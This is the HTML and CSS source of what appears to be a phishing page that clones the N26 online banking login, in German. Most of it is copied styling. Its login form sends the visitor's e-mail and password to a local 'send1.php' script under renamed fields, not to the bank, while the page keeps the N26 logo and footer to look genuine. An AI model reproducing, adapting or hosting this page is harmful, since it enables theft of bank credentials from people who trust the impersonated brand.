pointer-events: none
}
.in {
padding-right: var(--spacing-xs)
}
.io {
font-weight: 500
}
.ip {
color: var(--typography-interactive-default)
}
.iu {
white-space: nowrap
}
.iv {
margin-right: calc(var(--spacing-3-xs) * -1)
}
.iw {
margin-bottom: calc(var(--spacing-3-xs) * -1)
}
.ix {
margin-left: calc(var(--spacing-3-xs) * -1)
}
.iy:not(:empty) {
margin-bottom: var(--spacing-s)
}
.iz {
background-color: var(--background-container-teal)
}
.ja {
color: var(--typography-default-inverted)
}
.jb {
display: inline-block
}
.jc {
transition-duration: calc(var(--duration) * 250ms)
}
.jd {
line-height: var(--line-height-l)
}
.jg::after {
position: absolute
}
.jh::after {
top: -4px
}
.ji::after {
bottom: -4px
}
.jj::after {
right: -4px
}
.jk::after {
left: -4px
}
.jl::after {
opacity: 0
}
.jm::after {
box-shadow: 0 0 0 2px var(--primary-focus)
}
.jn::after {
pointer-events: none
}
.jo::after {
transition-duration: inherit
}
.jp::after {
border-top-left-radius: var(--border-radius-xl)
}
.jq::after {
border-top-right-radius: var(--border-radius-xl)
}
.jr::after {
border-bottom-right-radius: var(--border-radius-xl)
}
.js::after {
border-bottom-left-radius: var(--border-radius-xl)
}
.jy {
padding-top: var(--spacing-xs)
}
.jz {
padding-right: var(--spacing-l)
}
.ka {
padding-left: var(--spacing-l)
}
.kb {
border-top-width: 2px
}
.kc {
border-right-width: 2px
}
.kd {
border-bottom-width: 2px
}
.ke {
border-left-width: 2px
}
.kf {
border-top-color: transparent
}
.kg {
border-right-color: transparent
}
.kh {
border-bottom-color: transparent
}
.ki {
border-left-color: transparent
}
.kj {
margin-top: var(--spacing-2-xs)
}
.kk {
z-index: 50
}
.kl {
min-height: 60px
}
.km {
align-items: flex-start;
-webkit-box-align: start
}
.kp {
padding-right: var(--spacing-m)
}
.kq {
padding-left: var(--spacing-m)
}
.kr {
font-size: var(--font-size-3-xs)
}
.kv {
height: var(--spacing-m)
}
.kw {
width: var(--spacing-m)
}
.kx {
vertical-align: -2px
}
.ky {
fill: none
}
.kz {
stroke: currentcolor
}
.la {
stroke-width: 2px
}
.lb {
overflow-y: hidden
}
.lc {
vertical-align: baseline
}
.ld {
width: inherit
}
.le {
height: inherit
}
.lf>option {
color: var(--typography-default)
}
.lg>option {
background-color: var(--background-alternate)
}
.lh {
padding-top: 0
}
.li {
padding-bottom: 0
}
.lj {
padding-left: 0
}
.lk {
transition-property: text-indent;
-webkit-transition-property: text-indent;
-moz-transition-property: text-indent
}
.lq[aria-invalid="true"] {
border-top-color: var(--divider-error)
}
.lr[aria-invalid="true"] {
border-right-color: var(--divider-error)
}
.ls[aria-invalid="true"] {
border-bottom-color: var(--divider-error)
}
.lt[aria-invalid="true"] {
border-left-color: var(--divider-error)
}
.lu {
border-top-left-radius: 0
}
.lv {
border-top-right-radius: 0
}
.lw {
border-bottom-right-radius: 0
}
.lx {
border-bottom-left-radius: 0
}
.ly {
border-bottom-style: none
}
.lz {
width: 0.6em
}
.ma {
right: 0
}
.mb {
fill: var(--iconography-light)
}
.mc {
transform: translateY(-40%)
}
.hz:hover {
box-shadow: 0 2px 4px 0 rgba(0, 0, 0, 0.1)
}
.je:hover {
box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2)
}
.jf:hover {
transform: translateY(-2px)
}
.kt:hover {
color: var(--typography-interactive-default)
}
.hl:focus-within {
box-shadow: 0 2px 4px 0 rgba(0, 0, 0, 0.1), inset 0 0 0 1px var(--divider-teal)
}
.hm:focus-within:hover {
box-shadow: 0 2px 4px 0 rgba(0, 0, 0, 0.1), inset 0 0 0 1px var(--divider-teal)
}
.hn:focus-within {
border-top-width: 1px
}
.ho:focus-within {
border-right-width: 1px
}
.hp:focus-within {
border-bottom-width: 1px
}
.hq:focus-within {
border-left-width: 1px
}
.hr:focus-within {
border-top-style: solid
}
.hs:focus-within {
border-right-style: solid
}
.ht:focus-within {
border-bottom-style: solid
}
.hu:focus-within {
border-left-style: solid
}
.hv:focus-within {
border-top-color: var(--divider-teal)
}
.hw:focus-within {
border-right-color: var(--divider-teal)
}
.hx:focus-within {
border-bottom-color: var(--divider-teal)
}
.hy:focus-within {
border-left-color: var(--divider-teal)
}
.dl:focus {
box-shadow: 0 0 0 3px var(--primary-focus)
}
.dm:focus {
border-top-left-radius: var(--border-radius-m)
}
.dn:focus {
border-top-right-radius: var(--border-radius-m)
}
.do:focus {
border-bottom-right-radius: var(--border-radius-m)
}
.dp:focus {
border-bottom-left-radius: var(--border-radius-m)
}
.dq:focus {
outline-style: none
}
.jt:focus::after {
opacity: 1
}
.ll:focus {
box-shadow: none
}
.lm:focus {
border-top-color: var(--primary-focus)
}
.ln:focus {
border-right-color: var(--primary-focus)
}
.lo:focus {
border-bottom-color: var(--primary-focus)
}
.lp:focus {
border-left-color: var(--primary-focus)
}
.ku:active {
color: var(--typography-interactive-default)
}
</style>
<style data-fela-id="" data-fela-rehydration="340" data-fela-type="RULE" media="(min-width: 768px)">
.ag {
margin-top: auto
}
.ah {
margin-right: auto
}
.ai {
margin-bottom: auto
}
.aj {
margin-left: auto
}
.bj {
padding-top: var(--spacing-m)
}
.bk {
padding-right: var(--spacing-s)
}
.bl {
padding-bottom: var(--spacing-m)
}
.bm {
padding-left: var(--spacing-s)
}
.bn {
border-top-left-radius: var(--border-radius-xl)
}
.bo {
border-top-right-radius: var(--border-radius-xl)
}
.bp {
border-bottom-right-radius: var(--border-radius-xl)
}
.bq {
border-bottom-left-radius: var(--border-radius-xl)
}
.ex+ul {
overflow-y: auto
}
.ey+ul {
max-height: 10em
}
.kn {
flex-direction: row;
-webkit-box-orient: horizontal;
-webkit-box-direction: normal
}
.ko {
align-items: center;
-webkit-box-align: center
}
.ks {
margin-right: var(--spacing-m)
}
</style>
<style data-fela-id="" data-fela-rehydration="340" data-fela-type="RULE" media="(max-width: 767px)">
.ac {
flex-grow: 1
}
.ae {
flex-shrink: 1
}
.af {
flex-basis: auto
}
.ao {
background: var(--background-alternate)
}
.ay {
text-align: center
}
.az {
background: transparent
}
.ba {
padding-top: 0
}
.bb {
padding-right: 0
}
.bc {
padding-bottom: 0
}
.bd {
padding-left: 0
}
.be {
border-top-style: none
}
.bf {
border-right-style: none
}
.bg {
border-bottom-style: none
}
.bh {
border-left-style: none
}
.iq {
padding-top: var(--spacing-3-xs)
}
.ir {
padding-right: var(--spacing-3-xs)
}
.is {
padding-bottom: var(--spacing-3-xs)
}
.it {
padding-left: var(--spacing-3-xs)
}
.ju {
padding-top: var(--spacing-xs)
}
.jv {
padding-right: var(--spacing-xs)
}
.jw {
padding-bottom: var(--spacing-xs)
}
.jx {
padding-left: var(--spacing-xs)
}
</style>
<style data-rh="true">
:root {
--background-default: rgb(255, 255, 255);
--background-alternate: rgb(249, 249, 249);
--background-screen: rgb(249, 249, 249);
--background-button-primary-active: rgb(72, 172, 152);
--background-button-primary-pressed: rgb(72, 172, 152);
--background-button-primary-disabled: rgb(232, 242, 238);
--background-button-secondary: rgb(255, 255, 255);
--background-container-teal: rgb(72, 172, 152);
--background-container-rhubarb: rgb(203, 124, 122);
--background-container-wheat: rgb(200, 157, 88);
--background-container-petrol: rgb(43, 105, 122);
--background-container-secondary-teal: rgb(204, 227, 218);
--background-container-secondary-rhubarb: rgb(235, 214, 214);
--background-container-secondary-wheat: rgb(235, 221, 204);
--background-container-secondary-petrol: rgb(204, 220, 226);
--background-container-light: rgb(242, 242, 242);
--background-container-light-teal: rgb(232, 242, 238);
--background-container-light-rhubarb: rgb(242, 228, 228);
--background-container-light-wheat: rgb(242, 236, 225);
--background-container-light-petrol: rgb(233, 238, 242);
--background-container-lightest-petrol: rgb(233, 238, 242);
--background-container-dark-teal: rgb(42, 126, 109);
--background-container-dark-wheat: rgb(140, 108, 58);
--background-container-dark-petrol: rgb(9, 61, 77);
--background-container-dark-rhubarb: rgb(158, 89, 87);
--background-container-alpha-teal: rgb(72, 172, 152, 0.5);
--background-container-alpha-wheat: rgb(205, 163, 95, 0.5);
--background-container-alpha-petrol: rgba(38, 102, 120, 0.5);
--background-container-alpha-rhubarb: rgb(203, 124, 122, 0.5);
--background-light-error-red: rgb(248, 237, 237);
--background-info-card: rgb(233, 233, 233);
--typography-primary-default: rgb(27, 27, 27);
--typography-primary-inverted: rgb(255, 255, 255);
--typography-primary-consistent: rgb(27, 27, 27);
--typography-primary-inverted-consistent: rgb(255, 255, 255);
--typography-secondary-default: rgb(105, 105, 105);
--typography-secondary-consistent: rgb(105, 105, 105);
--typography-disabled: rgb(171, 171, 171);
--typography-interactive-primary-teal-consistent: rgb(54, 161, 139);
--typography-interactive-primary-wheat-consistent: rgb(200, 157, 88);
--typography-interactive-primary-petrol-default: rgb(43, 105, 122);
--typography-interactive-primary-petrol-consistent: rgb(43, 105, 122);
--typography-interactive-primary-rhubarb-default: rgb(179, 93, 91);
--typography-interactive-primary-rhubarb-consistent: rgb(179, 93, 91);
--typography-interactive-secondary-teal-default: rgb(31, 117, 96);
--typography-interactive-secondary-teal-consistent: rgb(31, 117, 96);
--typography-interactive-secondary-wheat-consistent: rgb(166, 121, 49);
--typography-interactive-secondary-petrol-default: rgb(32, 91, 107);
--typography-interactive-secondary-petrol-consistent: rgb(32, 91, 107);
--typography-interactive-secondary-rhubarb-consistent: rgb(142, 70, 68);
--typography-positive-amount: rgb(54, 161, 139);
--border-primary-gray: rgb(233, 233, 233);
--border-primary-teal: rgb(31, 117, 96);
--border-primary-petrol: rgb(24, 81, 97);
--border-primary-wheat: rgb(128, 91, 32);
--border-primary-rhubarb: rgb(142, 70, 68);
--border-secondary-gray: rgb(150, 150, 150);
--border-secondary-teal: rgb(54, 161, 139);
--border-secondary-petrol: rgb(43, 105, 122);
--border-secondary-wheat: rgb(166, 121, 49);
--border-secondary-rhubarb: rgb(179, 93, 91);
--divider-default: rgb(233, 233, 233);
--divider-default-consistent: rgb(233, 233, 233);
--background-screen-default: rgb(255, 255, 255);
--background-container-primary-default: rgb(255, 255, 255);
--background-container-primary-teal: rgb(54, 161, 139);
--background-container-primary-wheat: rgb(200, 157, 88);
--background-container-primary-petrol: rgb(43, 105, 122);
--background-container-primary-rhubarb: rgb(179, 93, 91);
--background-container-primary-gray: rgb(150, 150, 150);
--background-container-primary-hovered: rgb(249, 249, 249);
--background-container-primary-pressed: rgb(242, 242, 242);
--background-elevated-container-primary-default: rgb(255, 255, 255);
--background-container-secondary-gray: rgb(233, 233, 233);
--background-container-tertiary-teal: rgb(232, 242, 238);
--background-container-tertiary-teal-pressed: rgb(204, 227, 218);
--background-container-tertiary-wheat: rgb(242, 236, 225);
--background-container-tertiary-wheat-pressed: rgb(235, 221, 204);
--background-container-tertiary-petrol: rgb(233, 238, 242);
--background-container-tertiary-petrol-pressed: rgb(204, 220, 226);
--background-container-tertiary-rhubarb: rgb(242, 232, 232);
--background-container-tertiary-rhubarb-pressed: rgb(235, 214, 214);
--background-container-tertiary-gray: rgb(242, 242, 242);
--background-container-tertiary-gray-pressed: rgb(233, 233, 233);
--background-error: rgb(242, 232, 232);
--background-positive-amount: rgb(232, 242, 238);
--background-navigation-bottom: rgb(255, 255, 255);
--background-button-primary-teal-default: rgb(54, 161, 139);
--background-button-primary-teal-pressed: rgb(31, 117, 96);
--background-button-primary-teal-disabled: rgb(130, 196, 178);
--background-button-primary-teal-hover-and-focused: rgb(54, 161, 139);
--background-button-primary-wheat-default: rgb(166, 121, 49);
--background-button-primary-wheat-pressed: rgb(128, 91, 32);
--background-button-primary-wheat-disabled: rgb(225, 197, 161);
--background-button-primary-wheat-hover-and-focused: rgb(166, 121, 49);
--background-button-primary-petrol-default: rgb(43, 105, 122);
--background-button-primary-petrol-pressed: rgb(24, 81, 97);
--background-button-primary-petrol-disabled: rgb(204, 220, 226);
--background-button-primary-petrol-hover-and-focused: rgb(43, 105, 122);
--background-button-primary-rhubarb-default: rgb(179, 93, 91);
--background-button-primary-rhubarb-pressed: rgb(142, 70, 68);
--background-button-primary-rhubarb-disabled: rgb(222, 172, 171);
--background-button-primary-rhubarb-hover-and-focused: rgb(179, 93, 91);
--background-button-secondary-default: rgb(255, 255, 255);
--background-button-secondary-pressed: rgb(242, 242, 242);
--background-button-tertiary-teal-pressed: rgb(232, 242, 238);
--background-button-tertiary-wheat-pressed: rgb(242, 236, 225);
--background-button-tertiary-petrol-pressed: rgb(233, 238, 242);
--background-button-tertiary-rhubarb-pressed: rgb(242, 232, 232);
--background-button-tertiary-hover-and-focused: rgb(255, 255, 255);
--overlay-default: rgb(27, 27, 27);
--overlay-default-consistent: rgb(27, 27, 27);
--shadow-default: rgba(0, 0, 0, 0.2);
--phone-frame-foreground: rgb(233, 233, 233);
--phone-frame-background: rgb(249, 249, 249);
--iconography-primary-default: rgb(27, 27, 27);
--iconography-primary-consistent: rgb(27, 27, 27);
--iconography-primary-default-inverted: rgb(255, 255, 255);
--iconography-primary-inverted-consistent: rgb(255, 255, 255);
--iconography-secondary-default: rgb(105, 105, 105);
--iconography-disabled: rgb(171, 171, 171);
--iconography-interactive-primary-teal-consistent: rgb(54, 161, 139);
--iconography-interactive-primary-teal-disabled: rgb(130, 196, 178);
--iconography-interactive-primary-petrol-default: rgb(43, 105, 122);
--iconography-interactive-primary-petrol-consistent: rgb(43, 105, 122);
--iconography-interactive-primary-petrol-disabled: rgb(121, 161, 173);
--iconography-interactive-primary-rhubarb-default: rgb(179, 93, 91);
--iconography-interactive-primary-rhubarb-consistent: rgb(179, 93, 91);
--iconography-interactive-primary-rhubarb-disabled: rgb(222, 172, 171);
--iconography-interactive-secondary-teal-default: rgb(31, 117, 96);
--iconography-interactive-secondary-teal-consistent: rgb(31, 117, 96);
--iconography-interactive-secondary-petrol-default: rgb(32, 91, 107);
--iconography-interactive-secondary-petrol-consistent: rgb(32, 91, 107);
--progress-background: rgb(204, 227, 218);
--progress-foreground: rgb(54, 161, 139);
--shimmer-loader-background: rgb(242, 242, 242);
--shimmer-loader-foreground: rgb(249, 249, 249);
--bright-overlay: rgb(255, 255, 255, 0.75);
--mild-overlay: rgba(0, 0, 0, 0.075);
--distinct-overlay: rgba(0, 0, 0, 0.2);
--primary-focus: rgba(54, 161, 139, 0.6);
--typography-default: rgb(18, 18, 18);
--typography-default-inverted: rgb(255, 255, 255);
--typography-default-consistent: rgb(18, 18, 18);
--typography-default-inverted-consistent: rgb(255, 255, 255);
--typography-interactive-rhubarb: rgb(203, 124, 122);
--typography-interactive-default: rgb(72, 172, 152);
--typography-interactive-teal: rgb(72, 172, 152);
--typography-extra-light: rgb(191, 191, 191);
--typography-light: rgb(116, 116, 116);
--typography-error: rgb(180, 75, 70);
--divider-teal: rgb(72, 172, 152);
--divider-error: rgb(180, 75, 70);
--divider-dark: rgb(116, 116, 116);
--iconography-default: rgb(18, 18, 18);
--iconography-default-inverted: rgb(255, 255, 255);
--iconography-light: rgb(116, 116, 116);
--iconography-bright: rgb(233, 233, 233);
--iconography-action: rgb(72, 172, 152);
--iconography-rhubarb: rgb(179, 93, 91);
--shimmer-background: rgb(233, 233, 233);
--shimmer-foreground: rgb(249, 249, 249);
--deprecated-gray: rgb(201, 201, 201);
}
</style>
<link data-chunk="client" rel="preload" as="style" href="Login_files/client.4a447f73.js">
<link data-chunk="client" rel="preload" as="script" href="Login_files/webpack-runtime.c41672f2.js">
<link data-chunk="client" rel="preload" as="script" href="Login_files/util_vendor.6b0cf5e9.js">
<link data-chunk="client" rel="preload" as="script" href="Login_files/react_vendor.d00b70a5.js">
<link data-chunk="client" rel="preload" as="script" href="Login_files/6036.9222c059.js">
<link data-chunk="client" rel="preload" as="script" href="Login_files/client.70cc3cf1.js">
<link data-chunk="banking-features-auth-LoginPage" rel="preload" as="script" href="Login_files/2855.a573d79a.js">
<link data-chunk="banking-features-auth-LoginPage" rel="preload" as="script" href="Login_files/7586.0a96a02d.js">
<link data-chunk="banking-features-auth-LoginPage" rel="preload" as="script" href="Login_files/banking-features-auth-LoginPage.37c73736.js">
<link rel="preload" as="script" href="Login_files/client.70cc3cf1.js" crossorigin="anonymous">
<link rel="apple-touch-icon" sizes="256x256" href="img/logo-256x256.png">
<link rel="apple-touch-icon" sizes="152x152" href="img/logo-152x152.png">
<link rel="apple-touch-icon" sizes="120x120" href="img/logo-120x120.png">
<link rel="apple-touch-icon" href="img/logo.png">
<link rel="icon" type="image/x-icon" sizes="256x256" href="img/favicon.ico">
<link rel="manifest" href="img/manifest.json">
<meta name="2msapplication-config" content="/build/browserconfig.xml">
<meta name="google" content="notranslate">
<noscript>
<meta http-equiv="refresh" content="0; url=/remove-javascript-cookie">
</noscript>
</form>
POST send1.php
<form class="p q r" action="send1.php" method="POST">
<h1 class="a b c d e f g h i j k l m n o">Login</h1>
<a class="ab cs ct cu cv cw cx cy cz da db dc dd de df dg dh di dj dk dl dm dn do dp dq dr ds dt y">
<svg viewBox="0 0 46 32" class="bt dg dj du dv">
<path d="M40.649 12.795c-2.108 0-3.615.975-4.376 2.419 0-3.411 1.19-6.383 4.015-6.383 1.796 0 2.509 1.034 2.889 2.728l2.616-.523c-.615-2.926-2.474-4.347-5.487-4.347-3.785 0-6.617 2.906-6.617 9.42 0 5.783 2.361 8.641 6.43 8.641 3.363 0 5.881-2.296 5.881-6.08 0-2.956-1.576-5.875-5.351-5.875zm-.523 9.818c-2.087 0-3.531-1.92-3.782-4.463.634-2.172 2.04-3.253 3.701-3.253 2.136 0 3.342 1.577 3.342 3.82 0 2.407-1.373 3.896-3.261 3.896zM26.211 18.975c-.847.847-2.756 2.376-4.088 3.296h7.991v2.292H18.355V22.47c1.363-.973 4.193-3.086 5.964-4.858 1.695-1.695 2.805-3.244 2.805-5.518 0-2.237-1.229-3.167-2.89-3.167-1.702 0-3.062.984-3.062 3.039 0 .448.05.946.174 1.519l-2.671-.259a5.647 5.647 0 01-.174-1.395c0-2.743 1.924-5.142 5.821-5.142 3.215 0 5.593 1.669 5.593 5.318 0 3.318-2.423 5.705-3.513 6.779l-.191.189zM0 0h14.251v2.292H0zM11.579 6.875v12.1h-.001c0 1.071.025 1.719.075 2.342h-.05c-.262-.713-.571-1.338-1.031-2.152L3.416 6.875H.146v17.688h2.548v-12.1h.002c0-1.072-.025-1.719-.075-2.342h.05c.261.713.57 1.338 1.03 2.151l7.156 12.291h3.237V6.875h-2.515zM0 29.146h14.251v2.28H0z"></path>
</svg>
<span class="a b c d e f g h i j k l m n o">N26</span>
</a>
<div class="au bw bx by bz ca cb cc cd ce cf cg ch ha hb hc hd hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv hw hx hy hz ia p q v w">
<label class="ak dd ib ic id ie if ih ii ik il im mq" for="email" style="font-weight: strong; text-align: right; top: 10px; font-size: 13px">E-mail</label>
<input id="email" data-testid="login-email" name="logg" required="" maxlength="128" aria-invalid="false" aria-describedby="login-errors" type="email" autocomplete="email" aria-required="true"
class="ar at cw cx cy cz da dj dw dx dy dz ea eb ec ed ee ef eg eh ei ej ek el em en eo ep eq er es et eu ev ew ex ey ez fa fc fd fe ff fg fh fi fj fk fl fm fn fo fp fq fr fs ft fu fv fw fx fy fz ga gb gc gd ge gf gg gh gi gj gk gl gm gn go gp gq gr gs gt gu gv gw gx gy gz ha hb hc hd he hf hg p w">
</div>
<div class="au bw bx by bz ca cb cc cd ce cf cg ch ha hb hc hd hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv hw hx hy hz ia in p q v w">
<label class="ak dd ib ic id ie if ih ii ij ik il im" for="password" style="font-weight: strong; text-align: right; top: 10px; font-size: 13px">Passwort</label>
<input id="password" data-testid="login-password" name="log" required="" maxlength="128" aria-invalid="false" aria-describedby="login-errors" type="password" autocomplete="current-password" aria-required="true"
class="ar at cw cx cy cz da dj dw dx dy dz ea eb ec ed ee ef eg eh ei ej ek el em en eo ep eq er es et eu ev ew ex ey ez fa fc fd fe ff fg fh fi fj fk fl fm fn fo fp fq fr fs ft fu fv fw fx fy fz ga gb gc gd ge gf gg gh gi gj gk gl gm gn go gp gq gr gs gt gu gv gw gx gy gz ha hb hc hd he hf hg p w"
value="">
<a class="av br cs ct cu cv cw cx cy cz da db de df di dl dm dn do dp dq dr ds dx io ip iq ir is it iu iv iw ix">vergessen?</a>
</div>
<div id="abort-login-attempt-errors" role="alert" class="dh iy"></div>
<div id="login-errors" role="alert" class="dh iy"></div>
<button class="br ca cb cc cd cn di dq dr dx ha hb hc hd hg hk io iz ja jb jc jd je jf jg jh ji jj jk jl jm jn jo jp jq jr js jt ju jv jw jx jy jz ka kb kc kd ke kf kg kh ki p w" type="submit">anmelden</button>
</form>
Text Content
Login Login LOGIN N26 E-mail Passwort vergessen? anmelden Ein Konto erstellen © N26 AG 2024 Privacy Policy (new tab) Cookie Policy (new tab) Imprint (new tab) Change language Deutsch English Français Español Italiano